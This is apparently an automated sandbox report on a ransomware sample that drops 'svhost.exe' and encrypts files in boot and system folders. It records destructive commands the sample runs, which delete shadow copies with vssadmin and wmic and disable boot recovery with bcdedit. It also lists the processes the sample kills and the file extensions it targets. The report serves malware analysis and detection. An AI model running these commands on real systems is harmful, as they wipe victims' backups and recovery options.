Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\lv-LV\bootmgfw.efi.mui entropy: 7.99798366958	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\edbtmp.jtx entropy: 7.99984009993	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\lv-LV\bootmgr.efi.mui entropy: 7.99764805371	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\memtest.efi entropy: 7.9998141054	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00001.jrs entropy: 7.99728865891	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\nb-NO\bootmgfw.efi.mui entropy: 7.99772549827	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00002.jrs entropy: 7.99728865891	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\nb-NO\bootmgr.efi.mui entropy: 7.99765505615	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db entropy: 7.99897547936	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\nb-NO\memtest.efi.mui entropy: 7.99628443815	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\nl-NL\bootmgfw.efi.mui entropy: 7.99787359498	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\nl-NL\bootmgr.efi.mui entropy: 7.99765782003	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\nl-NL\memtest.efi.mui entropy: 7.99703613413	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\pl-PL\bootmgfw.efi.mui entropy: 7.99779352136	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\pl-PL\bootmgr.efi.mui entropy: 7.99802097888	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\pl-PL\memtest.efi.mui entropy: 7.99645455999	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\pt-BR\bootmgfw.efi.mui entropy: 7.99774202158	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\pt-BR\bootmgr.efi.mui entropy: 7.99751221461	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\pt-BR\memtest.efi.mui entropy: 7.99638895749	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\pt-PT\bootmgfw.efi.mui entropy: 7.99777888394	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\User Account Pictures\guest.bmp entropy: 7.99966617782	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\pt-PT\bootmgr.efi.mui entropy: 7.99816587181	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\pt-PT\memtest.efi.mui entropy: 7.99560654847	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\qps-ploc\memtest.efi.mui entropy: 7.99692837895	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ro-RO\bootmgfw.efi.mui entropy: 7.99793124206	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ro-RO\bootmgr.efi.mui entropy: 7.99797303029	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ru-RU\bootmgfw.efi.mui entropy: 7.99753618578	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ru-RU\bootmgr.efi.mui entropy: 7.99756429755	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\ru-RU\memtest.efi.mui entropy: 7.99616514777	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\User Account Pictures\user.bmp entropy: 7.99966617782	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\sk-SK\bootmgfw.efi.mui entropy: 7.99799666622	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\sk-SK\bootmgr.efi.mui entropy: 7.9978583104	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\sl-SI\bootmgfw.efi.mui entropy: 7.99743755196	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\Windows\AppxProvisioning.xml entropy: 7.9924495957	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\sl-SI\bootmgr.efi.mui entropy: 7.99728235435	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\sr-Latn-RS\bootmgfw.efi.mui entropy: 7.99782470988	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\sr-Latn-RS\bootmgr.efi.mui entropy: 7.99811361589	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\sv-SE\bootmgfw.efi.mui entropy: 7.99764774787	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\sv-SE\bootmgr.efi.mui entropy: 7.99758040169	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\EFI\Microsoft\Boot\sv-SE\memtest.efi.mui entropy: 7.99601920288	Jump to dropped file
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db entropy: 7.9986621663	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00AB68D0 std::ios_base::good,CryptStringToBinaryA,GetProcessHeap,HeapAlloc,CryptStringToBinaryA,CryptImportKey,GetProcessHeap,HeapFree,

1_2_00AB68D0

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

Process Stats: CPU usage > 98%

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00ABFAB0 std::ios_base::good,OpenSCManagerW,OpenServiceW,DeleteService,CloseServiceHandle,CloseServiceHandle,

1_2_00ABFAB0

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00B0C07B	1_2_00B0C07B
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00B0C1A7	1_2_00B0C1A7
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF23FD	1_2_00AF23FD
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00B0C360	1_2_00B0C360
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF2350	1_2_00AF2350
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF276F	1_2_00AF276F
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AFA825	1_2_00AFA825
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00ADE91F	1_2_00ADE91F
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF2A19	1_2_00AF2A19
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF2CE0	1_2_00AF2CE0
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00B04D29	1_2_00B04D29
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF2F9B	1_2_00AF2F9B
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00ADF105	1_2_00ADF105
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF754C	1_2_00AF754C
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AF9550	1_2_00AF9550
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00B036F2	1_2_00B036F2
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AE18A9	1_2_00AE18A9
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AC7A8D	1_2_00AC7A8D
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AE3CA1	1_2_00AE3CA1

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: String function: 00ADAEE9 appears 177 times
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: String function: 00ADB640 appears 42 times
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: String function: 00ADAA2D appears 61 times
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: String function: 00ADAF1D appears 78 times

Source: f6ifQ0POml.exe, 00000000.00000003.733469545.0000000003830000.00000004.00000001.sdmp

Binary or memory string: OriginalFilenamebootmgr.exej% vs f6ifQ0POml.exe

Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Section loaded: cscapi.dll	Jump to behavior

Source: f6ifQ0POml.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: Winre.wim.0.dr

Binary or memory string: .vbp/R

Source: classification engine

Classification label: mal100.rans.spre.expl.evad.winEXE@22/191@0/100

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00ABF660 std::ios_base::good,CreateToolhelp32Snapshot,Process32FirstW,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,

1_2_00ABF660

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00AC03B0 std::ios_base::good,std::ios_base::good,CoInitializeEx,CoInitializeSecurity,CoUninitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,CoUninitialize,

1_2_00AC03B0

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:984:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6496:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6548:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_01
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Mutant created: \Sessions\1\BaseNamedObjects\{8761ABBD-7F85-42EE-B272-A76179687C63}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6848:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4488:120:WilError_01

Source: C:\Users\user\AppData\Roaming\svhost.exe	Command line argument: {{IDENTIFIER}}	1_2_00AA6130
Source: C:\Users\user\AppData\Roaming\svhost.exe	Command line argument: {{URL}}	1_2_00AA6130
Source: C:\Users\user\AppData\Roaming\svhost.exe	Command line argument: svhost	1_2_00AA6130

Source: f6ifQ0POml.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

File read: C:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: f6ifQ0POml.exe	Virustotal: Detection: 83%
Source: f6ifQ0POml.exe	Metadefender: Detection: 65%
Source: f6ifQ0POml.exe	ReversingLabs: Detection: 100%

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

File read: C:\Users\user\Desktop\f6ifQ0POml.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\f6ifQ0POml.exe 'C:\Users\user\Desktop\f6ifQ0POml.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svhost.exe C:\Users\user\AppData\Roaming\svhost.exe
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\SysWOW64\vssadmin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic.exe SHADOWCOPY /nointeractive
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\SysWOW64\vssadmin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic.exe SHADOWCOPY /nointeractive
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet
Source: C:\Windows\SysWOW64\vssadmin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic.exe SHADOWCOPY /nointeractive
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svhost.exe C:\Users\user\AppData\Roaming\svhost.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svhost.exe C:\Users\user\AppData\Roaming\svhost.exe
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic.exe SHADOWCOPY /nointeractive	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic.exe SHADOWCOPY /nointeractive	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet	Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic.exe SHADOWCOPY /nointeractive	Jump to behavior

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

File written: C:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini

Jump to behavior

Source: f6ifQ0POml.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: f6ifQ0POml.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: f6ifQ0POml.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: f6ifQ0POml.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: f6ifQ0POml.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: f6ifQ0POml.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: f6ifQ0POml.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: f6ifQ0POml.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: f6ifQ0POml.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: f6ifQ0POml.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: f6ifQ0POml.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: f6ifQ0POml.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: f6ifQ0POml.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00AE9984 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00AE9984

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00ADAEB2 push ecx; ret		1_2_00ADAEC5
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00ADB686 push ecx; ret		1_2_00ADB699

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

File created: C:\Users\user\AppData\Roaming\svhost.exe

Jump to dropped file

Source: f6ifQ0POml.exe

Binary or memory string: vssadmin.exe Delete Shadows /All /Quietbcdedit.exe /set {default} recoveryenabled No[LOCKER] Lock drive bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00AC7A8D GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00AC7A8D

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: std::_Container_base12::~_Container_base12,GetAdaptersInfo,std::_Container_base12::~_Container_base12,GetAdaptersInfo,std::_Container_base12::~_Container_base12,

1_2_00ABE500

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\Desktop\f6ifQ0POml.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00B0E180 FindFirstFileExW,_free,		1_2_00B0E180
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 1_2_00AC7842 FindFirstFileExW,__Read_dir,FindClose,std::tr2::sys::_Strcpy,		1_2_00AC7842

Source: f6ifQ0POml.exe	Binary or memory string: BgIAAACkAABSU0ExAAgAAAEAAQBtv9E5cdLPoTK8PwG0VTbxxURbhYM00jmY1b22v+Nwoe6+Vi6zHYcP5JmmueP4FBZBwANscT6dGxHpP4f4l9L9b/VLT6npX7+821EksPXaUJ8piYp8TCQPKRLJt6v7foVnI7jRW//K0wX9YmF7JWbBQROHPQTX7g3CQqZM7xGT4PfMa8g7+UBbstiEThpJo8PE1pgHfZrUFyiMwAv1hoXvaWVeAHKGOvoV+pKZ6Qi2fBCyJFmfL3hChhDWzIjp5oWd3l/RuSgET1sNAV8lkQPpf80OwlxFls5C8OnoG2d7eZJXDhcelK6K67Pp1Y6nC/B5mGpMhERMGnzSg9JKcrOn-.exe,.dll,.sys,.ini,.lnk,.rdp,.encrypted,.READINSTRUCTIONS,.recoverme,.Readinstructions,.hivteam,.hiv,.386,.adv,.ani,.bat,.bin,.cab,.cmd,.com,.cpl,.cur,.deskthemepack,.diagcab,.diagcfg,.diagpkg,.dll,.drv,.exe,.hlp,.icl,.icns,.ico,.ics,.idx,.ldf,.lnk,.log,.mod,.mpa,.msc,.msp,.msstyles,.msu,.nls,.nomedia,.ocx,.prf,.ps1,.rom,.rtp,.scr,.shs,.spl,.sys,.theme,.themepack,.wpx,.lock,.key,.hta,.msi,.enc,.deadfiles,.lockernetwork,.monster,.NETFULL,.shanghai,.support,.DE,.netlock,.BR,.LOCK,.shanghai2,.monster,.MY,.GR,.ID,.MA,.HU,.IN,.BG,.titan,.cryptocrypto,.dodik,.shanghai3,.TW,.shanghai4,.AU,.lockes,.DEDE,.RS,.local,.shanghai5,.shanghai6,.shanghai7,.locklock,.AULOCK,.FRFR,.lockers,.PedroChicken,.DogUlitos,.datalock,.stopfiles,.viets,.ILLOCK,.GBLOCK,.lokes,.KRLOCK,.AU,.KRLOCK2,.KRLOCK3,.KRLOCK4,.shanghai8,.sglock,.shanghai9,.shan,.EG,.grgr,.locks,.CN,.CN2,.locklock,.cnlock,.netlock,.netlock2,.vikings,.usus,.lockfilesus,.creepers,.shanghaiX,.kwlock,.mzlock,.lklock,.zoomzoom,.lockfiles,.shanghai11pro,.locklock,.wtf,.diablo,.nett,04BymBUjhm2UYsdPZC8XC25a96k28AR0.csv,.sql,.mdf,.NDF,.SQLITEDB,.DDL,.SQLITE,.SQLITE3,.LDF,.EDB,.FDB,.FBK,.DBF-wrapper,DefWatch,ccEvtMgr,ccSetMgr,SavRoam,sqlservr,sqlagent,sqladhlp,Culserver,RTVscan,sqlbrowser,SQLADHLP,QBIDPService,Intuit.QuickBooks.FCS,QBCFMonitorService,sqlwriter,msmdsrv,tomcat6,zhudongfangyu,SQLADHLP,vmware-usbarbitator64,vmware-converter,dbsrv12,dbeng8Encrypt file: ALLUSERSPROFILE\AppDatawxServer.exe,wxServerView,sqlservr.exe,sqlmangr.exe,RAgui.exe,supervise.exe,Culture.exe,RTVscan.exe,Defwatch.exe,sqlbrowser.exe,winword.exe,QBW32.exe,QBDBMgr.exe,qbupdate.exe,QBCFMonitorService.exe,axlbridge.exe,QBIDPService.exe,httpd.exe,fdlauncher.exe,MsDtSrvr.exe,tomcat6.exe,java.exe,360se.exe,360doctor.exe,wdswfsafe.exe,fdlauncher.exe,fdhost.exe,GDscan.exe,ZhuDongFangYu.exe:\TMPPROGRAMFILES(x86)Recovery_Instructions.htmlPUBLICUSERPROFILE\AppData<html>
Source: svhost.exe	Binary or memory string: wrapper,DefWatch,ccEvtMgr,ccSetMgr,SavRoam,sqlservr,sqlagent,sqladhlp,Culserver,RTVscan,sqlbrowser,SQLADHLP,QBIDPService,Intuit.QuickBooks.FCS,QBCFMonitorService,sqlwriter,msmdsrv,tomcat6,zhudongfangyu,SQLADHLP,vmware-usbarbitator64,vmware-converter,dbsrv12,db
Source: f6ifQ0POml.exe, 00000000.00000003.733469545.0000000003830000.00000004.00000001.sdmp	Binary or memory string: Hyper-V
Source: vssadmin.exe, 00000003.00000002.655537090.0000000004770000.00000002.00000001.sdmp, WMIC.exe, 00000006.00000002.658982305.0000000000FD0000.00000002.00000001.sdmp, vssadmin.exe, 00000008.00000002.662178547.0000000004500000.00000002.00000001.sdmp, WMIC.exe, 0000000A.00000002.665641017.00000000036D0000.00000002.00000001.sdmp, vssadmin.exe, 0000000C.00000002.670817058.00000000046C0000.00000002.00000001.sdmp, WMIC.exe, 0000000E.00000002.678539104.0000000000F40000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: f6ifQ0POml.exe	Binary or memory string: wrapper,DefWatch,ccEvtMgr,ccSetMgr,SavRoam,sqlservr,sqlagent,sqladhlp,Culserver,RTVscan,sqlbrowser,SQLADHLP,QBIDPService,Intuit.QuickBooks.FCS,QBCFMonitorService,sqlwriter,msmdsrv,tomcat6,zhudongfangyu,SQLADHLP,vmware-usbarbitator64,vmware-converter,dbsrv12,dbeng8
Source: svhost.exe, 00000014.00000002.768636909.00000000011F7000.00000004.00000020.sdmp	Binary or memory string: vmware-converter
Source: svhost.exe, 0000001A.00000002.902624114.0000000001697000.00000004.00000020.sdmp	Binary or memory string: vmware-converterHM
Source: svhost.exe, 00000014.00000002.768636909.00000000011F7000.00000004.00000020.sdmp	Binary or memory string: vmware-usbarbitator64m
Source: vssadmin.exe, 00000003.00000002.655537090.0000000004770000.00000002.00000001.sdmp, WMIC.exe, 00000006.00000002.658982305.0000000000FD0000.00000002.00000001.sdmp, vssadmin.exe, 00000008.00000002.662178547.0000000004500000.00000002.00000001.sdmp, WMIC.exe, 0000000A.00000002.665641017.00000000036D0000.00000002.00000001.sdmp, vssadmin.exe, 0000000C.00000002.670817058.00000000046C0000.00000002.00000001.sdmp, WMIC.exe, 0000000E.00000002.678539104.0000000000F40000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: vssadmin.exe, 00000003.00000002.655537090.0000000004770000.00000002.00000001.sdmp, WMIC.exe, 00000006.00000002.658982305.0000000000FD0000.00000002.00000001.sdmp, vssadmin.exe, 00000008.00000002.662178547.0000000004500000.00000002.00000001.sdmp, WMIC.exe, 0000000A.00000002.665641017.00000000036D0000.00000002.00000001.sdmp, vssadmin.exe, 0000000C.00000002.670817058.00000000046C0000.00000002.00000001.sdmp, WMIC.exe, 0000000E.00000002.678539104.0000000000F40000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: svhost.exe, 0000001A.00000002.902624114.0000000001697000.00000004.00000020.sdmp	Binary or memory string: vmware-usbarbitator64
Source: vssadmin.exe, 00000003.00000002.655537090.0000000004770000.00000002.00000001.sdmp, WMIC.exe, 00000006.00000002.658982305.0000000000FD0000.00000002.00000001.sdmp, vssadmin.exe, 00000008.00000002.662178547.0000000004500000.00000002.00000001.sdmp, WMIC.exe, 0000000A.00000002.665641017.00000000036D0000.00000002.00000001.sdmp, vssadmin.exe, 0000000C.00000002.670817058.00000000046C0000.00000002.00000001.sdmp, WMIC.exe, 0000000E.00000002.678539104.0000000000F40000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\f6ifQ0POml.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\svhost.exe

Code function: 1_2_00AF508A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00AF508A

Source: C:\Users\user\AppData\Roaming\svhost.exe

